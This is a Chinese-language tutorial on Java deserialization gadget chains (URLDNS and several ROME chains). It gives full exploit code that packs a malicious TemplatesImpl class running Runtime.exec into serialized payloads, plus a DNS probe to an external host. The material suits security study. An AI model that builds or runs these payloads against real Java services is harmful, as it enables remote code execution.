JAVA反序列化入门 URLDNS 这个链子可以用来判断是否有反序列化漏洞,并没有环境依赖,其本身没有什么攻击性,就是进行一次DNS请求。
原理 java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求.
hashcode()
方法1 2 3 4 5 6 7 8 9 10 import java.net.URL;import java.util.HashMap;public class urldns { public static void main (String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap <URL, String>(); URL url = new URL ("https://nf2p2x19.requestrepo.com/" ); url.hashCode(); } }
跟进看一下
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
调式的时候是这样的
继续跟进hashCode()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); } String file = u.getFile(); if (file != null ) h += file.hashCode(); if (u.getPort() == -1 ) h += getDefaultPort(); else h += u.getPort(); String ref = u.getRef(); if (ref != null ) h += ref.hashCode(); return h; }
调试的时候是这样
我们继续跟进getHostAddress()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("" )) { return null ; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null ; } catch (SecurityException se) { return null ; } } return u.hostAddress; }
跟进InetAddress.getByName(host)
1 2 3 4 public static InetAddress getByName (String host) throws UnknownHostException { return InetAddress.getAllByName(host)[0 ]; }
hashcode()
就是这样子啦~
hashmap
类进去看一下,找到反序列化的函数readobject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
这里是调用了hash
函数
1 2 3 4 5 6 7 8 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
跟进hash
函数
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
然后如果key不为空,则调用了hashcode
,这个key是我们传入的url对象,继续跟进url类的hashcode
1 2 3 4 5 6 7 8 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
如果hashcode是-1,那么就会执行hashCode = handler.hashCode(this);
继续跟进handler
1 2 3 4 transient URLStreamHandler handler;
那么跟进URLStreamHandler
的hashcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); } String file = u.getFile(); if (file != null ) h += file.hashCode(); if (u.getPort() == -1 ) h += getDefaultPort(); else h += u.getPort(); String ref = u.getRef(); if (ref != null ) h += ref.hashCode(); return h; }
其中的u也就是我们传入的URL对象,在执行InetAddress addr = getHostAddress(u);
会进行dns请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("" )) { return null ; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null ; } catch (SecurityException se) { return null ; } } return u.hostAddress; }
我们现在再返回来到readobject
key通过反序列化来得到,那就证明序列化的时候就写入了key
1 2 3 4 5 6 7 8 9 private void writeObject (java.io.ObjectOutputStream s) throws IOException { int buckets = capacity(); s.defaultWriteObject(); s.writeInt(buckets); s.writeInt(size); internalWriteEntries(s); }
跟进internalWriteEntries
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void internalWriteEntries (java.io.ObjectOutputStream s) throws IOException { Node<K,V>[] tab; if (size > 0 && (tab = table) != null ) { for (int i = 0 ; i < tab.length; ++i) { for (Node<K,V> e = tab[i]; e != null ; e = e.next) { s.writeObject(e.key); s.writeObject(e.value); } } } }
想要修改table的值,就需要调用HashMap的put
方法,而HashMapput
方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
我们并不想让这个查询来混淆我们的视线,可以通过反射将hashcode
写成不等于-1,就可以避免
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
hashCode
不等于-1,就不会执行handler.hashCode(this)
自然也就没有后面的事
1 2 3 4 5 6 7 8 Gadget Chain: HashMap.readObject () ↓ HashMap.putVal () ↓ HashMap.hash () ↓ URL.hashCode ()
EXP exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package cn.edu.xcu.ypx;import java.io.FileInputStream;import java.io.FileOutpsutStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNS_EXP { public static void main (String[] args) throws Exception { HashMap map = new HashMap (); URL url = new URL ("https://nf2p2x19.requestrepo.com/" ); Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 123 ); map.put(url,123 ); f.set(url,-1 ); try { FileOutputStream fileOutputStream = new FileOutputStream ("./urldns.ser" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(map); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("./urldns.ser" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close(); } catch (Exception e) { e.printStackTrace(); } } }
ROME Rome是什么 ROME 是一个用于 RSS 和 Atom 订阅的 Java 框架。它是开源的,并根据 Apache 2.0 许可授权。
ROME 包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的 Java 对象,或者是通用的规范化 SyndFeed 类,让您可以处理数据,而无需考虑传入或传出的 feed 类型。
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
ROME提供了ToStringBean
这个类,提供深入的toString
方法对Java Bean
进行操作,可以利用toString
方法对Java Bean进行操作。而这里面的toString
方法就是ROME反序列化漏洞调用链的关键之一。
环境依赖 1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > rome</groupId > <artifactId > rome</artifactId > <version > 1.0</version > </dependency > </dependencies >
漏洞原理: 因为ToStringBean
调用了invoke
方法,并且参数可控,从而导致任意类加载,而Templateslmpl#getOutputProperties()
方法正好可以在其中调用,所以就有了Templateslmpl
利用链的调用,在反序列化攻击链里,TemplatesImpl
充当“最终执行器”:攻击者通过写入自定义 _bytecodes
,诱导链条调用其 newTransformer()
(或 getOutputProperties()
),触发内部 defineTransletClasses() + newInstance()
,从而加载并实例化恶意类并执行其静态块或构造器逻辑,实现任意代码执行。
Templateslmpl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
字段
作用
安全风险点
byte[][] _bytecodes
存放编译的(或被伪造的)Translet 类字节码
攻击者如果能写入任意字节码,即可植入恶意类
String _name
/ _transletName
模板名(历史版本字段名差异)
某些路径需要非空
Class[] _class
缓存已定义的类对象
为空时才会触发加载;重复调用不再重复 defineClass
int _transletIndex
指向主 translet(继承 AbstractTranslet
)的下标
标记哪一个类要被实例化
TransformerFactoryImpl _tfactory
工厂引用,用于构造 TransformerImpl
为空会导致流程失败
Properties _outputProperties
输出属性(编码、缩进等)
某些版本为空可能触发后续 NPE
ToStringBean: 我们来分析一下这个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this ._beanClass); if (pds != null ) { for (int i = 0 ; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0 ) { Object value = pReadMethod.invoke(this ._obj, NO_PARAMS); this .printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception ex) { sb.append("\n\nEXCEPTION: Could not complete " + this ._obj.getClass() + ".toString(): " + ex.getMessage() + "\n" ); } return sb.toString(); }
该方法通过Java Bean Introspector (内省机制)枚举某个 bean 类型(this._beanClass
)的所有属性(Property),对每个属性找到其 getter (读方法, read method并调用,获取该属性当前实例对象(**this._obj
)上的值,然后将 属性名、前缀、值格式化并追加到 StringBuffer sb
中,最终返回一个字符串——用于构造该对象的递归/层级式属性转储( debug-friendly toString 输出**)。
换句话说,它不是普通的 Object#toString()
覆写;它像是一个调试用、反射驱动的 deep-ish inspection 工具,把 bean 的全部可读属性名称和值打印出来,属性名称前加上传入的 prefix
,适合递归调用(比如嵌套对象时用不同 prefix 展示层级路径)。
这里的pReadMethod.invoke(this._obj, NO_PARAMS);
就是反射,我们可以通过反射来调用Templateslmpl
的getOutputProperties()
方法,基本思路就是:
1 2 3 4 5 6 7 8 try { Class _beanClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Object _obj = _beanClass.newInstance(); Method pReadMethod = _beanClass.getDeclaredMethod("getOutputProperties" ); pReadMethod.invoke(_obj,NO_PARAMS); } catch (Exception e) { throw new RuntimeException (e); }
然后我们发现_obj
是可以赋值的
然后我们来看一下谁调用了这个ToStringBean.toString(prefix)
跟进后发现是,ToStringBean.toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public String toString () { Stack stack = (Stack)PREFIX_TL.get(); String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek()); String prefix; if (tsInfo == null ) { String className = this ._obj.getClass().getName(); prefix = className.substring(className.lastIndexOf("." ) + 1 ); } else { prefix = tsInfo[0 ]; tsInfo[1 ] = prefix; } return this .toString(prefix); }
而我们的最终目的地是hashCode
的readobject
,那我们得找一个链子可以搞到toString
——hashCode
EqualsBean: 而EqualsBean
就是 ,其中有两个函数
而其中的beanHashCode
就是完全符合我们要求的函数
跟进hashCode
到这我突然懵了一下🤦嗯?到这一步怎么办,这怎么搞????这怎么调用HashMap啊😭那这是为什么呢?其实原因也很简单,因为我们现在是倒着推的,而_obj.toString() 返回 String(实际上是 ToStringBean 的 toString() 结果)。然后对这个 String 调用 hashCode() → 进入 String.hashCode(),就长上面那样了。而我们利用的顺序是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HashMap.readObject () ↓ HashMap.hash (Object key) ↓ EqualsBean.hashCode () ↓ EqualsBean.beanHashCode () ↓ _obj.toString () ↓ ToStringBean.toString () ↓ TemplatesImpl.getOutputProperties () ↓ 触发 defineTransletClasses () → 加载恶意字节码 → RCE
我们在hashMap那一步传入的key就是EqualsBean
HashMap.hash(Object)
实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); ...... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } } 跟进hash(key)static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
我们传入以后,它调用的就是EqualsBean的hashCode()了,然后我们的_obj是传入的ToStringBean,就会继续调用它的toString(),由此一来,我们的链子就成功啦!
书写EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 main() ├─ 构造 TemplatesImpl (植入恶意 shell.class) ├─ 构造 ToStringBean(Templates.class, ConstantTransformer(1)) ├─ 构造 EqualsBean(ToStringBean.class, toStringBean实例) ├─ map.put(equalsBean, "123") // HashMap 里用 EqualsBean 当 key ├─ 反射把 toStringBean._obj = templates // 换掉ConstantTransformer(1),指向恶意对象 ├─ serialize(map) // 写 ser1.bin └─ unserialize("ser1.bin") // 触发链 反序列化触发链(核心): ObjectInputStream.readObject() → HashMap.readObject() → 读入 key/value 并插入 → HashMap.hash(key) 调用 key.hashCode() → EqualsBean.hashCode() → EqualsBean.beanHashCode() → _obj.toString() // _obj = TemplatesImpl → TemplatesImpl.toString()(间接:ToStringBean 定位模板类并调用 getter) → TemplatesImpl.getOutputProperties() → TemplatesImpl.newTransformer() → TemplatesImpl.getTransletInstance() → TemplatesImpl.defineTransletClasses() → defineClass(shell.class bytes) → new shell() 构造函数 → Runtime.getRuntime().exec("calc")
参数
来源
作用
在漏洞利用中的关注点
getTransletInstance()
由 _bytecodes
动态加载的 translet
执行 XML→输出 的核心逻辑
这里实例化时已执行恶意代码;后续不重要
_outputProperties
Properties
对象(可能为空,后面会由内部填充默认)
标记输出(编码、缩进、method 等)
部分 PoC 会给它一个空 Properties
以避免 NPE
_indentNumber
int
控制 pretty print 缩进
默认值即可,与利用无直接关系
_tfactory
TransformerFactoryImpl
让 Transformer
能访问工厂配置(URI Resolver、安全特性等)
必须非空 ,否则 newTransformer()
可能抛 NullPointerException
EXP 把恶意字节码塞进 TemplatesImpl
,用 ROME 的 EqualsBean
+ ToStringBean
把它包起来,作为 HashMap key 序列化;反序列化时 HashMap 调 key.hashCode()
,跨过 ROME 的 toString
链最终调用 TemplatesImpl
方法,触发内部加载我们提供的恶意类并实例化,从而执行恶意构造器里的命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 package ROME;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class shell extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public shell () throws IOException{ try { Runtime.getRuntime().exec("calc" ); }catch (Exception e){ e.printStackTrace(); } } }package REMO;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class ROME { private static void setValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser1.bin" )); oos.writeObject(object); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser1.bin" )); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\\\JavaSec\\\\CC1\\\\target\\\\classes\\\\ROME\\\\shell.class" )); setValue(templates,"_name" ,"ROME" ); setValue(templates,"_bytecodes" ,new byte [][]{bytecodes}); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap<Object, Object> map = new HashMap <>(); map.put(equalsBean,"123" ); setValue(toStringBean,"_obj" ,templates); serialize(map); unserialize("ser1.bin" ); } }
其他的链子 ObjectBean利用链 ObjectBean
相当于一个“万能代理”,快速实现 Bean 常用方法,在ObjectBean
类中也有调用EqualsBean
的hashCode
方法的,我们可以直接用ObjectBean.hashCode()
,相当于进行了一个替换
利用链就是把EqualsBean.hashCode
换成ObjectBean.hashCode
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HashMap.readObject () ↓ HashMap.hash (Object key) ↓ ObjectBean.hashCode () ↓ EqualsBean.beanHashCode () ↓ _obj.toString () ↓ ToStringBean.toString () ↓ TemplatesImpl.getOutputProperties () ↓ 触发 defineTransletClasses () → 加载恶意字节码 → RCE
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package ROME;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class ROME { private static void setValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser2.bin" )); oos.writeObject(object); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser2.bin" )); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] byteCodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class" )); setValue(templates,"_name" ,"ROME" ); setValue(templates,"_bytecodes" ,new byte [][]{byteCodes}); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); ObjectBean objectBean = new ObjectBean (ToStringBean.class,toStringBean); HashMap hashMap = new HashMap (); hashMap.put(objectBean,"123" ); setValue(toStringBean,"_obj" ,templates); serialize(hashMap); unserialize("ser2.bin" ); } }
HashTable利用链 这个链子是当HashMap
类被过滤掉了,我们可以使用这个链子来改变入口点
我们看一下HashTable
的readobject
发现每个对象都会被reconstitutionPut
进行处理,跟进reconstitutionPut
,看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
很好,关键代码:int hash = key.hashCode();
那就就是换掉开头就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HashTable.readObject () ↓ HashTable.reconstitutionPut () ↓ EqualsBean.hashCode () ↓ EqualsBean.beanHashCode () ↓ _obj.toString () ↓ ToStringBean.toString () ↓ TemplatesImpl.getOutputProperties () ↓ 触发 defineTransletClasses () → 加载恶意字节码 → RCE
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package ROME;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class ROME { private static void setValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser3.bin" )); oos.writeObject(object); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser3.bin" )); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class" )); setValue(templates,"_name" ,"ROME" ); setValue(templates,"_bytecodes" ,new byte [][]{bytecodes}); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); Hashtable hashtable = new Hashtable (); hashtable.put(equalsBean,"123" ); setValue(toStringBean,"_obj" ,templates); serialize(hashtable); unserialize("ser3.bin" ); } }
BadAttributeValueExpException利用链 看一下这个类的readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
可以看到,当System.getSecurityManager() == null
会调用任意一个类的tostring
方法跟进看一下
是null,那我们可以用它来直接调用tostring()
方法,进行反序列化
那链子就是
1 2 3 4 5 6 7 BadAttributeValueExpException.readObject () ↓ ToStringBean.toString () ↓ TemplatesImpl.getOutputProperties () ↓ 触发 defineTransletClasses () → 加载恶意字节码 → RCE
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package ROME;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Hashtable;public class ROME { private static void setValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser4.bin" )); oos.writeObject(object); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser4.bin" )); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class" )); setValue(templates,"_name" ,"ROME" ); setValue(templates,"_bytecodes" ,new byte [][]{bytecodes}); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); setValue(toStringBean,"_obj" ,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (123 ); setValue(badAttributeValueExpException,"val" ,toStringBean); serialize(badAttributeValueExpException); unserialize("ser4.bin" ); } }
HotSwappableTargetSource利用链 这个链子是spring
原生的,是把toString的调用者改为了spring原生的HotSwappableTargetSource
1 2 3 4 5 6 加个spring依赖<dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 4.1.1.RELEASE</version > </dependency >
那让我们来继续看代码,在XString的一个equals方法中找到了调用toString方法
然后在HotSwappableTargetSource中发现了调用equals方法的方法
1 2 3 public boolean equals (Object other) { return this == other || other instanceof HotSwappableTargetSource && this .target.equals(((HotSwappableTargetSource)other).target); }
